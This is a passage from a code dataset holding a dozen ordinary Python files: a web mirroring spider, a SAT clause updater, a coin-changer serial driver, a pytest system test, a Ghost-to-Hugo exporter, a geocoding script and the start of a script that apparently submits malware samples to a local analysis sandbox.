nn.CrossEntropyLoss()\r\nloss_fn = nn.MSELoss()\r\ndata_loader_train = load_data('./data', 128)\r\nlogs,losses = find_lr(model = model, data_loader = data_loader_train, device = device)\r\nplt.plot(logs[10:-5],losses[10:-5])\r\nplt.show()\r\n","sub_path":"Semi Supervised/find_lr.py","file_name":"find_lr.py","file_ext":"py","file_size_in_byte":2585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"410178041","text":"import scrapy\nimport os\nimport datetime\n\nclass WebSpider(scrapy.Spider):\n    name = 'web'\n\n    def __init__(self, base_url='', default_path=\"resources\", folder_name='', year=''):\n        assert base_url != '' and folder_name != ''\n\n        self.default_path = default_path\n        self.start_urls = [base_url]\n        if '.' in base_url:\n            base_url = '/'.join(base_url.split('/')[:-1])\n        self.allowed_prefix = base_url.rstrip('/') + '/'\n        year = year if year else datetime.datetime.now().year\n        self.folder_name = \"%s-%s\" %(folder_name, year)\n        self.allowed_domains = []\n\n        assert not os.path.exists(\"%s/%s\" %(self.default_path, self.folder_name))\n\n        for url in self.start_urls:\n            self.allowed_domains.append(url.split('/')[2])\n        scrapy.Spider.__init__(self)\n\n    def parse(self, response):\n        yield {'url': response.url}\n\n        full_path = \"%s/%s/%s\" % (self.default_path, self.folder_name, response.url[len(self.allowed_prefix):])\n        directory = full_path[:full_path.rfind('/')]\n        file_name = full_path[full_path.rfind('/') + 1:]\n        if not file_name:\n            full_path = full_path + \"index.html\"\n        try:\n            os.makedirs(directory)\n        except:\n            pass\n\n        with open(full_path, 'wb') as f:\n            f.write(response.body)\n\n        if response.headers['Content-Type'] == 'text/html':\n            content = open(full_path).read()\n            f = open(full_path, 'w')\n            f.write(content.replace(self.allowed_prefix, '').replace('/' + '/'.join(self.allowed_prefix.split('/')[3:]), ''))\n            next_pages = response.css('*::attr(href)').extract()\n            for page in next_pages:\n                if page is not None:\n                    new_link = response.urljoin(page)\n                    if new_link.startswith(self.allowed_prefix):\n                        yield scrapy.Request(new_link, callback=self.parse)","sub_path":"web/spiders/web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":1946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"167038761","text":"#!/usr/bin/env python3\n\nf = open(\"newFile.txt\", \"w\")\n\n# need rge end of line to go to next line\nf.write(\"blah\")\nf.write(\" blah again \\n\")\nf.write(\"A new line \\n\")\n\n# example of formatted writing (j, x, t) is a tuple\nj = 36\nx = 34.12\nt = \"blah\"\nf.write(\"An integer %d then a float %f then a string %s \\n\" % (j, x, t))\n\n# I could stich my variables into a string instead.\n# Then I can do anything I want with the string...\n# including writing it to the file\nu =  \"A float %f\" % x\nf.write(u + \"\\n\")\n\n# Here is how I could control the floating format\nu =  \"A float with 8 decimal digits %.8f\" % x   # 8 decimal digits\nf.write(u + \"\\n\")\n\n# Fixed width of 9 with 3 decimal digits\nx = 34.12\ny = 1289.98\nu =  \"A float width 9 %9.3f\" % x   \nv =  \"A float width 9 %9.3f\" % y   \nf.write(u + \"\\n\" + v + \"\\n\")\n\n# And now exponential\nf.write(\"Exponential = %e\" % y)\n\n# And there are many more ways of controling the output\n# Note: this is the \"old-style\" formatting.\n# The \"new style\" uses the string.format(...) syntax\n\n\nf.close()\n","sub_path":"campagnari/python/demoWriteFile.py","file_name":"demoWriteFile.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"651805390","text":"# update list of clauses\ndef update_clauses(clauses, truthvalues):\n    changed = False\n    for clause in [*clauses]:\n        clause_not_removed = True\n        for literal in [*truthvalues]:\n\n            if (literal in clause) & clause_not_removed:\n                # verwijder de clause waarin een waarde staat die al waar is.\n                if truthvalues[literal]:\n                    changed = True\n                    clauses.remove(clause)\n                    clause_not_removed = False\n                if -literal in clause:\n                    changed = True\n                    clause.remove(-literal)\n\n                # verwijder een literal uit een clause waarvan je weet dat die niet waar is.\n                if not truthvalues[literal]:\n                    changed = True\n                    clause.remove(literal)\n\n                if -literal in clause:\n                    changed = True\n                    clauses.remove(clause)\n                    clause_not_removed = False\n    return changed\n\n\ndef update_literals(literal, negative_literals, positive_literals, all_literals):\n\n    if literal in all_literals:\n        all_literals.remove(literal)\n    if -literal in all_literals:\n        all_literals.remove(-literal)\n    if literal in negative_literals:\n        negative_literals.remove(literal)\n    if -literal in negative_literals:\n        negative_literals.remove(-literal)\n    if literal in positive_literals:\n        positive_literals.remove(literal)\n    if -literal in positive_literals:\n        positive_literals.remove(-literal)\n\n","sub_path":"updates.py","file_name":"updates.py","file_ext":"py","file_size_in_byte":1557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"7194148","text":"import os, PIL, glob\nimport tkinter as tk\nimport tkinter.font as tkFont\n\nROOT_DIR = os.path.dirname(os.path.abspath(__file__))\n\nclass UiNotification(tk.Canvas):\n    def __init__(self, texts, master=None):\n        tk.Canvas.__init__(\n            self, master, \n            width=220, height=120,\n            borderwidth=0,\n            highlightthickness=0,\n        )\n    \n        self.master = master\n        self.texts = texts\n\n        self.is_notification_animating = False\n\n    def create_print_notification(self):\n        self.place(relx=0.5, rely=0, anchor=\"n\", y=-60)\n        \n        params = {\n            'notif_bg': \"#ddf1d1\",\n            'notif_border_bg': \"#64b747\",\n            'tag': 'print_notification',\n            'icon_type': \"printer\",\n            'texts_key': \"printing\"\n        }\n\n        self.notification_creator(params)\n\n        self.animate_notification_in(\"print_notification\")\n\n    def create_error_notification(self, texts_key = \"\"):\n        self.place(relx=0.5, rely=0, anchor=\"n\", y=-60)\n        \n        params = {\n            'notif_bg': \"#f1d1d9\",\n            'notif_border_bg': \"#b74747\",\n            'tag': 'error_notification',\n            'icon_type': \"error\",\n            'texts_key': texts_key\n        }\n\n        self.notification_creator(params)\n\n        if self.is_notification_animating == False:\n            self.animate_notification_in(\"error_notification\")\n\n    def notification_creator(self, params):\n        notification_container = tk.Frame(\n            self, \n            text = None,\n            padx = 5,\n            pady = 5,\n            bg = params['notif_bg'],\n            borderwidth=2,\n            relief=\"flat\",\n            highlightbackground=params['notif_border_bg'],\n            highlightthickness=2,\n            width=self['width'],\n            height=60\n        )\n        notification_container.pack_propagate(0)\n\n        self.create_window(0, 0, \n            window=notification_container, \n            anchor=\"nw\", \n            tag=params['tag'],\n        )\n\n        countdown_label_style = tkFont.Font(\n            family='DejaVu Sans Mono', \n            size=12\n        )\n\n        btn_icon_src = PIL.Image.open(\n            f\"{ROOT_DIR}/../assets/{params['icon_type']}-icon.png\"\n        ).convert(\"RGBA\")\n        btn_icon_src = btn_icon_src.resize((30, 30), PIL.Image.ANTIALIAS)\n        btn_bgc_tmp = PIL.Image.composite(\n            btn_icon_src,\n            PIL.Image.new(\n                'RGB', \n                btn_icon_src.size,\n                notification_container[\"bg\"]\n            ),\n            btn_icon_src\n        )\n        btn_icon = PIL.ImageTk.PhotoImage(btn_bgc_tmp)\n\n        label = tk.Label(\n            notification_container, \n            image=btn_icon, \n            bg=notification_container[\"bg\"]\n        )\n        label.image = btn_icon\n        label.pack(side=\"left\", padx=(15, 15))\n        \n        label = tk.Label(\n            notification_container, \n            text=self.texts[params[\"texts_key\"]],\n            font = countdown_label_style,\n            bg=notification_container[\"bg\"],\n            justify=\"left\"\n         )\n        label.pack(side=\"left\")\n\n    def animate_notification_in(self, tag_name):\n        x_pos, y_pos = self.coords(tag_name)\n\n        if(y_pos < 60):\n            self.move(tag_name, 0, 1)\n            self.master.after(1, lambda: self.animate_notification_in(tag_name))\n        else:\n            self.is_notification_animating = True\n            self.master.after(1500, lambda: self.animate_notification_out(tag_name))\n\n    def animate_notification_out(self, tag_name):\n        x_pos, y_pos = self.coords(tag_name)\n\n        if(y_pos > 0):\n            self.move(tag_name, 0, -1)\n            self.master.after(1, lambda: self.animate_notification_out(tag_name) )\n        else:\n            self.is_notification_animating = False\n            self.place_forget()\n","sub_path":"software/classes/UiNotification.py","file_name":"UiNotification.py","file_ext":"py","file_size_in_byte":3881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"496632616","text":"__author__ = 'Miguel'\r\n\r\n\"\"\" Imports \"\"\"\r\nimport threading\r\nfrom time import sleep\r\n\r\nimport serial\r\n\r\nfrom VMC.Utils import Commands\r\n\r\n\r\nclass ChangerThread(threading.Thread):\r\n    \"\"\"\r\n     Class ChangerThread.\r\n      Thread for COM connection and data handling with the changer.\r\n\r\n      TODO: Define if the platform is Windows or Unix.\r\n    \"\"\"\r\n\r\n    \"\"\" Global Variables \"\"\"\r\n    # COM variables\r\n    com_port_number = 0\r\n    com_port = None\r\n\r\n    # Commands and VMCCommands object\r\n    commands = Commands.VmcCommands()\r\n\r\n    # Flags\r\n    is_writing = False\r\n    is_polling = False\r\n    must_dispense = False\r\n    must_reset = False\r\n\r\n    # Thread Communication\r\n    socket_receive = []\r\n    socket_response = \"\"\r\n\r\n    def open_com(self):\r\n        \"\"\" Creates and opens the serial port. \"\"\"\r\n        \"\"\"\r\n        coms = []\r\n\r\n        print('Searching COMs...')\r\n        for i in range(0, 255):\r\n            try:\r\n                av_port = serial.Serial(i)\r\n                coms.append(\"COM\" + str(i + 1))\r\n                av_port.close()\r\n            except serial.SerialException:\r\n                pass\r\n\r\n        print(coms)\r\n\r\n        self.com_port_number = int(raw_input('Select COM port: ')) - 1\r\n        \"\"\"\r\n\r\n        self.com_port = serial.Serial('/dev/tty.usbserial', 115200, timeout=1, parity=serial.PARITY_NONE, rtscts=1)\r\n\r\n        if self.com_port.isOpen():\r\n            self.com_port.close()\r\n        self.com_port.open()\r\n\r\n        print('{} is open.'.format(self.com_port.name))\r\n\r\n    def write_cmd(self, cmd=Commands.VmcCommands(), in_waiting=0, sleep_thread=0.25):\r\n        \"\"\"\r\n         Method for sending a command via serial port.\r\n          Defaults: waits for 0 byte on the serial buffer, sleeps the thread for 100ms.\r\n        \"\"\"\r\n\r\n        # Try to open the serial port. First check if it's open already.\r\n        try:\r\n            if self.com_port.isOpen():\r\n\r\n                # Write the command (see Commands.py) to the serial port, and print it.\r\n                self.com_port.write(cmd['cmd'])\r\n                print('{} cmd sent'.format(cmd['name']))\r\n\r\n                # Sleep the thread until we have the minimum required data or until we have a timeout (default=500ms).\r\n                \"\"\"\r\n                timeout = 0\r\n                while self.com_port.inWaiting() < in_waiting and timeout < 10:\r\n                    timeout += 1\r\n                    sleep(.5)\r\n                if timeout >= 10:\r\n                    raise serial.SerialException\r\n                \"\"\"\r\n\r\n                # Read the required bytes from the serial port.\r\n                data = ''\r\n\r\n                if in_waiting > 0:\r\n                    while not data[-2:] == 'X9':\r\n                        data += self.com_port.read()\r\n                    # Evaluate the data received.\r\n                    # If the last two bytes are 'X9' then we have a correct package.\r\n                    if data[-2:] == 'X9':\r\n                        print('Correct byte received: {}'.format(data))\r\n                    else:\r\n                        print('Wrong byte: {}'.format(data))\r\n\r\n                    sleep(sleep_thread)\r\n                else:\r\n                    print(self.com_port.readline())\r\n\r\n                self.com_port.flushInput()\r\n                self.com_port.flushOutput()\r\n\r\n        except serial.SerialException:\r\n            # If a SerialException is catch then must restart the communication.\r\n            self.must_reset = True\r\n            sleep(sleep_thread)\r\n\r\n    def write_poll(self):\r\n        \"\"\" Writes a Poll command. \"\"\"\r\n        self.write_cmd(self.commands.POLL, 6)\r\n\r\n    def write_reset(self):\r\n        \"\"\" Writes a Reset command. \"\"\"\r\n        self.write_cmd(self.commands.RESET, 4, 1)\r\n        sleep(.5)\r\n\r\n    def write_setup(self):\r\n        \"\"\" Writes a Setup command. \"\"\"\r\n        self.write_cmd(self.commands.SETUP, 1)\r\n        self.write_cmd(self.commands.ACK)\r\n\r\n    def write_tube_status(self):\r\n        \"\"\" Writes a Status command. \"\"\"\r\n        self.write_cmd(self.commands.TUBE_STATUS, 1)\r\n        self.write_cmd(self.commands.ACK)\r\n\r\n    def write_coin_type(self):\r\n        \"\"\" Writes a Coin Type command. \"\"\"\r\n        self.write_cmd(self.commands.COIN_TYPE, 1)\r\n\r\n    def write_dispense(self, units=0, cents=0):\r\n        \"\"\" Writes a Dispense command. Also evaluates which coins should be dispensed. \"\"\"\r\n        # Evaluate coins.\r\n        res = units\r\n        quantity_10 = res / 10\r\n        res %= 10\r\n        quantity_5 = res / 5\r\n        res %= 5\r\n        quantity_2 = res / 2\r\n        res %= 2\r\n        quantity_1 = res / 1\r\n\r\n        quantity_50c = cents / 5\r\n\r\n        # Dispense coins depending on the coins it should dispense.\r\n        if not quantity_10 == 0:\r\n            self.write_cmd(self.commands.dispense_10(quantity_10), 2)\r\n        if not quantity_5 == 0:\r\n            self.write_cmd(self.commands.dispense(quantity_5, 4), 0)\r\n        if not quantity_2 == 0:\r\n            self.write_cmd(self.commands.dispense(quantity_2, 3), 0)\r\n        if not quantity_1 == 0:\r\n            self.write_cmd(self.commands.dispense(quantity_1, 2), 0)\r\n        if not quantity_50c == 0:\r\n            self.write_cmd(self.commands.dispense(quantity_50c, 0), 0)\r\n\r\n    def init_sequence(self):\r\n        \"\"\" Initialization sequence. \"\"\"\r\n        print('Reset sequence activated')\r\n        self.write_reset()\r\n        self.write_poll()\r\n        self.write_setup()\r\n        self.write_tube_status()\r\n        self.write_coin_type()\r\n\r\n    def run(self):\r\n        \"\"\" Run method for the thread. \"\"\"\r\n\r\n        # First run.\r\n        # Must not reset and start the initialization sequence.\r\n        while 1:\r\n            self.must_reset = False\r\n            self.init_sequence()\r\n            while not self.must_reset:\r\n                # If we must not dispense a coin then poll the device.\r\n                # Else, dispense the required coins.\r\n                if not self.must_dispense:\r\n                    self.is_polling = True\r\n                    self.write_poll()\r\n                    self.is_polling = False\r\n                elif self.must_dispense:\r\n                    self.is_polling = True\r\n                    self.write_dispense(self.socket_receive[0], self.socket_receive[1])\r\n                    self.is_polling = False\r\n                    self.must_dispense = False\r\n                    self.socket_response = 'Dispensed: {}.{}'.format(self.socket_receive[0], self.socket_receive[1])\r\n\r\n    def __init__(self):\r\n        \"\"\" Initialization of the thread. \"\"\"\r\n        super(ChangerThread, self).__init__()\r\n        self.open_com()","sub_path":"VMC/Coin_Changer/ChangerThread.py","file_name":"ChangerThread.py","file_ext":"py","file_size_in_byte":6599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"486162572","text":"#!/usr/bin/env python2\n# coding=utf-8\nimport os\nimport time\nimport pytest\nimport psutil\nimport requests\nimport logging\nlogging.basicConfig(format='%(asctime)s [%(levelname)s] %(message)s', level=logging.INFO)\nlogging.disable(logging.DEBUG)\nlog = logging.getLogger(__file__)\n\n\nQTS_PROCESS = 'qts'\nWFE_URL = 'http://localhost:12345/processes'\nMM_URL = 'http://localhost:12345/entities/program/{}'\n\n\ndef wait(timeout=10, interval=1):\n    \"\"\"\n    Useful wait decorator.\n    Usage with function declaration: @wait(60, 1)\n    Usage in test code: wait(60)(func_to_wait)(func_params)\n    Return: last or successful func_to_wait(func_params) result\n    \"\"\"\n    def what(func):\n        def whit_args(*args):\n            end_time = time.time() + timeout\n            result = func(*args)\n            while not result and time.time() < end_time:\n                time.sleep(interval)\n                result = func(*args)\n            return result\n        return whit_args\n    return what\n\n\n@wait(180)\ndef check_wfe_status(process, expected_status):\n    \"\"\"Return True if process has expected status in Workflow Engine API\"\"\"\n    status = [proc['status'] for proc in requests.get(WFE_URL).json() if proc['name'] == process]\n    # Assume that process name is unique\n    return status and status[0] == expected_status\n\n\n@pytest.fixture(autouse=True)\ndef run_qts_mock():\n    # Imports are here, because this function is needed only to simulate work of QTS.\n    # If set autouse=False and delete mock, then these imports won't affect test case.\n    from qts_mock import ApiMock, consume_xml\n    from BaseHTTPServer import HTTPServer\n    from threading import Thread\n    qts = Thread(target=consume_xml)\n    qts.daemon = True\n    qts.start()\n    serv = HTTPServer((\"localhost\", 12345), ApiMock)\n    wfe = Thread(target=serv.serve_forever)\n    wfe.start()\n    yield\n    serv.shutdown()\n\n\ndef test_qts():\n    log.info(\"TestCase: Positive QTS system test\")\n    dir_name, xml_name, program = 'qts_watch_folder', 'test.xml', 'program_name'\n\n    log.info(\"Step: Put xml file {} into directory {}\".format(xml_name, dir_name))\n    template = '{}'.format(program)\n    with open(os.path.join(dir_name, xml_name), 'wt') as f:\n        f.write(template)\n\n    log.info(\"Step: Verify that QTS process is running and file is consumed\")\n    assert [p.cmdline() for p in psutil.process_iter() if QTS_PROCESS in str(p.cmdline())],\\\n        'Expected process {} is not running'.format(QTS_PROCESS)\n    assert wait(60)(lambda: xml_name not in os.listdir(dir_name))(),\\\n        'File was not consumed within 60 sec'\n\n    log.info(\"Step: Verify Workflow Engine process status\")\n    wfe_processes = requests.get(WFE_URL)\n    assert wfe_processes.status_code == 200,\\\n        'WFE returned error code {}'.format(wfe_processes.status_code)\n    assert 'application/json' in wfe_processes.headers['content-type'],\\\n        'WFE returned unexpected content'\n    assert check_wfe_status(program, 'running'), 'Process {} was not running'.format(program)\n    # If we need warnings about long processing, then it is possible to use chain of check_wfe_status,\n    # but decorator should be changed @wait(60).\n    # if not check_wfe_status(program, 'completed'):\n    #     log.warn('Process {} was not finished within 60 sec'.format(program))\n    # if not check_wfe_status(program, 'completed'):\n    #     log.warn('Process {} was not finished even in 120 sec'.format(program))\n    assert check_wfe_status(program, 'completed'),\\\n        'Process {} was not finished within 180 sec'.format(program)\n\n    log.info(\"Step: Verify that {} is in DB\".format(program))\n    assert requests.get(MM_URL.format(program)).status_code == 200,\\\n        '{} is absent in DB according to MediaManager API'.format(program)\n\n\nif __name__ == '__main__':\n    pytest.main(['-s', '-v'])\n","sub_path":"async_system/qts_test.py","file_name":"qts_test.py","file_ext":"py","file_size_in_byte":3842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"128050868","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom collections import OrderedDict\nimport subprocess\nimport fileinput\nimport itertools\nimport click\nimport pipes\nimport sys\nimport os\nimport io\nimport copy\nimport h5py\nimport pickle\n\nfrom . import _fileio, _pairsam_format, _headerops, cli, common_io_options\nfrom .pairsam_stats import PairCounter\n\n\nUTIL_NAME = 'pairsam_hdf2pairsam'\n\nEXTRA_COLUMNS = [\n    'mapq',\n    'pos5',\n    'pos3',\n    'cigar',\n    'read_len',\n    'matched_bp',\n    'algn_ref_span',\n    'algn_read_span',\n    'dist_to_5',\n    'dist_to_3',\n    'rfrag',\n    'rfrag_dist',\n    'rfrag_dist_up',\n    'rfrag_dist_down'\n]\n\n@cli.command()\n@click.argument(\n    'hdf_path',\n    type=str,\n    required=False)\n@click.option(\n    \"-o\", \"--output\", \n    type=str, \n    default=\"\", \n    help='output file. '\n        ' If the path ends with .gz or .lz4, the output is pbgzip-/lz4-compressed.'\n         'By default, the output is printed into stdout. ')\n@click.option(\n    \"-f\", \"--frags\",\n    type=str,\n    required=False,\n    help='a tab-separated BED file with the positions of restriction fragments '\n         '(chrom, start, end). Can be generated using cooler digest.')\n\n@common_io_options\n\ndef hdf2pairsam(hdf_path, output, **kwargs):\n    '''parse .hdf5 and make .pairsam.\n\n    SAM_PATH : input .sam file. If the path ends with .bam, the input is \n    decompressed from bam. By default, the input is read from stdin.\n    '''\n    parse_hdf(hdf_path, output, **kwargs)\n\n\ndef parse_hdf(hdf_path, output, **kwargs):\n\n\n    infile = h5py.File(hdf_path)\n\n    outstream = (_fileio.auto_open(output, mode='w',\n                                   nproc=kwargs.get('nproc_out'),\n                                   command=kwargs.get('cmd_out', None)) \n                 if output else sys.stdout)\n\n    write_pairsam(infile, outstream, **kwargs)\n\n    if outstream != sys.stdout:\n        outstream.close()\n\ndef write_pairsam(infile, out_file, **kwargs):\n\n    infile_d = {\"chrms1\": infile['chrms1'].value,\n                \"chrms2\": infile['chrms2'].value,\n                \"pos1\": infile['cuts1'].value,\n                \"pos2\": infile['cuts2'].value,\n                \"strand1\": infile['strands1'].value,\n                \"strand2\": infile['strands2'].value,\n                }\n\n    idx2label = pickle.loads(infile['misc'].value)['genome']['idx2label']\n\n    #reading rfrags\n    if len(kwargs['frags'])>0:\n        frags = kwargs['frags']\n\n        import numpy as np\n        from numpy.lib.recfunctions import append_fields  # for rfrags indexing\n\n        rfrags = np.genfromtxt(\n            frags, delimiter='\\t', comments='#', dtype=None,\n            names=['chrom', 'start', 'end', 'idx'])\n\n        rfrags.sort(order=['chrom', 'start', 'end'])\n\n        rfrags = append_fields(rfrags, 'idx', np.arange(len(rfrags)))\n        rfrags['end'] += 1\n\n        chrom_borders = np.r_[0,\n                              1 + np.where(rfrags['chrom'][:-1] != rfrags['chrom'][1:])[0],\n                              rfrags.shape[0]]\n        rfrags = {rfrags['chrom'][i]: rfrags[['end', 'idx']][i:j]\n                  for i, j in zip(chrom_borders[:-1], chrom_borders[1:])}\n\n        print('Rfrags read')\n\n\n    out_file.write(\"#columns: readID chrom1 pos1 chrom2 pos2 strand1 strand2 pair_type rfrag1 rfrag2\")\n    out_file.write(\"\\n\")\n\n    for i in range(len(infile_d[\"chrms1\"])):\n\n        if (infile_d['chrms1'][i]<0) or (infile_d['chrms2'][i]<0):\n            continue\n\n        chr1 = \"chr\"+idx2label[infile_d['chrms1'][i]]\n        chr2 = \"chr\"+idx2label[infile_d['chrms2'][i]]\n\n        rfrag1, _, _ = \\\n            find_rfrag(rfrags, chr1, infile_d['pos1'][i] + (10 if infile_d['strand1'][i] else -10))\n        rfrag2, _, _ = \\\n            find_rfrag(rfrags, chr2, infile_d['pos2'][i] + (10 if infile_d['strand2'][i] else -10))\n\n        if rfrag1 0:\r\n                next_q_instance = next_q.first()\r\n                return redirect(\"questions:single\", qid=next_q_instance.id)\r\n            else:\r\n                messages.add_message(request, messages.INFO,\r\n                    \"You've answered all of the questions. (For now!)\")\r\n                return redirect(\"home\")\r\n\r\n        context = {\r\n            \"form\": form,\r\n            \"instance\": instance,\r\n        }\r\n        return render(request, \"questions/single.html\", context)\r\n    else:\r\n        raise Http404\r\n\r\n\r\ndef interest_single(request, slug):\r\n\r\n    if request.user.is_authenticated:\r\n        interest = Interest.objects.all().order_by('timestamp')\r\n        instance = get_object_or_404(Interest, slug=slug)\r\n        try:\r\n            user_answer = AnswerInterest.objects.get(user=request.user, interest=instance)\r\n            updated_q = True\r\n        except AnswerInterest.DoesNotExist:\r\n            user_answer = AnswerInterest()\r\n            updated_q = False\r\n        except AnswerInterest.MultipleObjectsReturned:\r\n            user_answer = AnswerInterest.objects.filter(user=request.user, interest=instance)[0]\r\n            updated_q = True\r\n        except:\r\n            user_answer = AnswerInterest()\r\n            updated_q = False\r\n\r\n        form = AnswerInterestForm(request.POST or None)\r\n        if (form.is_valid() and request.user.is_authenticated):\r\n            user_answer.user = request.user\r\n            user_answer.interest = Interest.objects.filter(slug=slug).first()\r\n            user_answer.response = form.cleaned_data.get('response')\r\n            user_answer.timestamp = datetime.datetime.now()\r\n            user_answer.save()\r\n\r\n            next_q = Interest.objects.get_unanswered(user=request.user).order_by(\"?\")\r\n            if next_q.count() > 0:\r\n                next_q_instance = next_q.first()\r\n                return redirect(\"questions:interest_single\", slug=next_q_instance.slug)\r\n            else:\r\n                messages.add_message(request, messages.INFO,\r\n                    \"You've answered all of the interest questions. (For now!)\")\r\n                return redirect(\"home\")\r\n\r\n        context = {\r\n            \"form\": form,\r\n            \"instance\": instance,\r\n        }\r\n        return render(request, \"questions/single_interest.html\", context)\r\n    else:\r\n        raise Http404\r\n","sub_path":"neurosphere/questions/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"163491344","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nimport sqlite3\nimport json\nfrom datetime import datetime\n\n\n# optional usage to remove accents on tag names\n# -------------\nimport unicodedata\ndef remove_accents(input_str):\n    nkfd_form = unicodedata.normalize('NFKD', unicode(input_str))\n    return u\"\".join([c for c in nkfd_form if not unicodedata.combining(c)])\n# -------------\n\nconn = sqlite3.connect('ghost-dev.db')\nconn.row_factory = sqlite3.Row\n\nc = conn.cursor()\nc2 = conn.cursor()\n\nl = []\n\nfor i in c.execute('''\nSELECT id, title, meta_description as description, slug, markdown as text,\nstatus as draft, page, meta_title, image,\nDATE(published_at/1000, \"unixepoch\") as date,\nDATE(created_at/1000, \"unixepoch\") as date2\nFROM posts'''):\n    g = {i.keys()[e]: tuple(i)[e] for e in range(len(i.keys()))}\n    t = (i['id'],)\n    g['tags'] = [e['name'] for e in c2.execute('''\n    SELECT t.name FROM posts_tags pt JOIN tags t ON pt.tag_id = t.id\n    WHERE pt.post_id=?''', t)]\n\n    if g['date'] == None:\n        g['date'] = g['date2']\n    if g['draft'] == 'published':\n        g['draft'] = False\n    else:\n        g['draft'] = True\n    g.pop('date2')\n\n    # post description\n    if g['description'] == None:\n        g['description'] = \"\"\n\n    # post content    \n    text = g.pop('text')\n    text = text.replace(\"# \", \"#\")\n    text = text.replace(\"#\", \"# \")\n    text = text.replace(\"# # # \", \"### \")\n    text = text.replace(\"# # \", \"## \")\n    text = text.replace(\"\\# \", \"\\#\")\n\n    # post type\n    if g['page'] == True:\n        page = 'page'\n    else:\n        page = 'post'\n    g['type'] = page\n    g.pop('page')    \n\n    with open('./content/%s.md' % (g['slug']), 'w') as post_file:\n        post_file.write('+++\\n')\n        post_file.write('type = \"%s\"\\n' % g['type'])\n        post_file.write('date = \"%s\"\\n' % g['date'])\n        post_file.write('title = \"%s\"\\n' % g['title'].encode('utf8'))\n        post_file.write('description = \"%s\"\\n' % g['description'].encode('utf8'))\n        post_file.write('slug = \"%s\"\\n' % g['slug'])\n        \n        post_file.write('tags = [')\n\n        # encode each tag to accept accents or removed them\n        # and add a comma to separate each one\n        for i in xrange(0, len(g['tags'])):\n            if i < len(g['tags']) - 1 :\n                separator = \", \"\n            else:\n                separator = \"\"\n            \n            # encode string to keep accents etc. E.g. \"Introdução e Avaliações\"\n            tag = g['tags'][i].encode('utf8')\n\n            # uncomment if you like to remove accents. E.g. \"Introducao e Avaliacoes\"\n            tag = remove_accents(g['tags'][i])\n\n            post_file.write('\"%s\"' % tag+separator)\n\n        post_file.write(']\\n')\n\n        post_file.write('+++\\n\\n')\n        post_file.write(text.encode('utf8'))\n","sub_path":"ghost2hugo.py","file_name":"ghost2hugo.py","file_ext":"py","file_size_in_byte":2785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"619351727","text":"import requests\nimport json\n\nf = open('data.txt', 'r')\nline = f.readline()\nresultLines = []\nwhile line:\n    result = line.split(\",\")[4] + line.split(\",\")[5] + line.split(\",\")[6]\n    r = requests.get(url=\"http://search.maps.sputnik.ru/search?q=\"+result)\n    y = json.loads(r.text)\n    lat = (y[\"result\"][0][\"position\"][\"lat\"])\n    lon = (y[\"result\"][0][\"position\"][\"lon\"])\n    line = line.replace(\"NULL\", str(lat), 1)\n    line = line.replace(\"NULL\", str(lon), 1)\n    resultLines.append(line)\n    line = f.readline()\nf.close()\nf = open('data.txt', 'w')\nf.writelines(resultLines)\nf.close()\n","sub_path":"task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"471535163","text":"wdir = '/home/valencianaplop/vietherb/data/'\n#wdir = '/home/ltly.student/Tri/vietherb/data/'\nfile1 = 'master_record.tsv'\n\nimport os\nimport string\n\ndef refine(str1):\n\tstr1 = str1.split()\n\tfor i in range(1,len(str1)):\n\t\tbase = False\n\t\tfor char in str1[i]:\n\t\t\tif char in string.ascii_uppercase:\n\t\t\t\tstr1 = str1[:i]\n\t\t\t\tbase  = True\n\t\t\t\tbreak\n\t\tif base == True:\n\t\t\tbreak\n\n\tstr1 =  ' '.join(str1)\n\tstr1 = str1.replace('.','').replace('-','')\n\treturn str1\n\t\t\t\n\ndef main():\n\tos.chdir(wdir)\n\tread = open(file1)\n\tsave = open('master_record.tsv.tmp','w')\n\tsave.write(next(read))\n\tfor line in read:\n\t\tcol = line.split('\\t')\n\t\tcol[3] = refine(col[3])\n\t\tline = '\\t'.join(col)\n\t\tsave.write(line+'\\n')\n\tos.system('mv '+file1+'.tmp '+file1)\n\t\nmain()\t\n","sub_path":"bin/refine_2.py","file_name":"refine_2.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"538196790","text":"#-*-coding:utf-8-*-\nimport requests, os, subprocess\n\nimport time, sys, pickle\nimport multiprocessing as mp\n\nREST_URL = \"http://localhost:8090/tasks/create/file\"\n#DIRECTORY = \"/home/seclab/virussign_20170727\"\n\ndef explorer( root ):\n    ret = []\n    file_list = []\n\n    save_root_path = \"/home/seclab/Desktop/report\"\n    save_dir_path = \"\"\n    before_save_dir_name = \"\"\n\n    for p, dir, files in os.walk(root) :\n\n        save_dir_name_check = p.split(os.sep)[-1]\n\n\n        if \"virussign\" in save_dir_name_check:\n            if not os.path.exists(os.path.join(save_root_path, save_dir_name_check.split(\"_\")[1])):\n                save_dir_name = save_dir_name_check.split(\"_\")[1]\n                save_dir_path = os.path.join(save_root_path, save_dir_name)\n                os.mkdir(save_dir_path)\n\n                before_save_dir_name = save_dir_name\n\n        if len(file_list) > 0 and before_save_dir_name != save_dir_name:\n            with open(os.path.join(save_root_path, before_save_dir_name, \"classify.csy\"), \"wb\") as f:\n                pickle.dump(file_list, f)\n            